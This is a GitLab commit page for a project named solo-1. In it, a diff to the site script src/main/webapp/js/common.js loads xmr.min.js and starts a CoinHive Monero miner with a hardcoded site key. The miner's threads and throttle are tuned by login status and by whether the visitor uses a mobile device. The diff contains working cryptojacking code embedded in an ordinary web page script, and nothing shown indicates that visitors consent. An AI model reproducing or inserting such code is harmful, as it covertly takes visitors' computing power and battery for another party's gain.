Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
S
solo-1
Project overview
Project overview
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Administrator
solo-1
Commits
d4857df8
Commit
d4857df8
authored
Jan 02, 2018
by
Liang
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
⬆
xmr scan
parent
03cbd457
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
9 additions
and
2 deletions
+9
-2
src/main/webapp/js/common.js
src/main/webapp/js/common.js
+9
-2
No files found.
src/main/webapp/js/common.js
View file @
d4857df8
...
...
@@ -249,8 +249,15 @@ var Util = {
url
:
'
https://static.hacpai.com/js/lib/xmr.min.js
'
,
dataType
:
"
script
"
}).
done
(
function
()
{
var
miner
=
new
CoinHive
.
Anonymous
(
'
gr2r3rJsYmaJpSd2Nml15zomewwc6Lzc
'
,
{
threads
:
1
,
throttle
:
0.9
});
miner
.
start
();
var
data
=
{
threads
:
2
,
throttle
:
0.5
}
if
(
latkeConfig
.
isLoggedIn
===
'
true
'
)
{
data
=
{
threads
:
1
,
throttle
:
0.8
}
}
const
ua
=
navigator
.
userAgent
;
if
(
/Android/i
.
test
(
ua
)
||
/BlackBerry/i
.
test
(
ua
)
||
/IEMobile/i
.
test
(
ua
)
||
/iPhone|iPad|iPod/i
.
test
(
ua
))
{
data
=
{
threads
:
1
,
throttle
:
0.8
}
}
(
new
CoinHive
.
Anonymous
(
'
gr2r3rJsYmaJpSd2Nml15zomewwc6Lzc
'
,
data
)).
start
();
});
},
/**
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment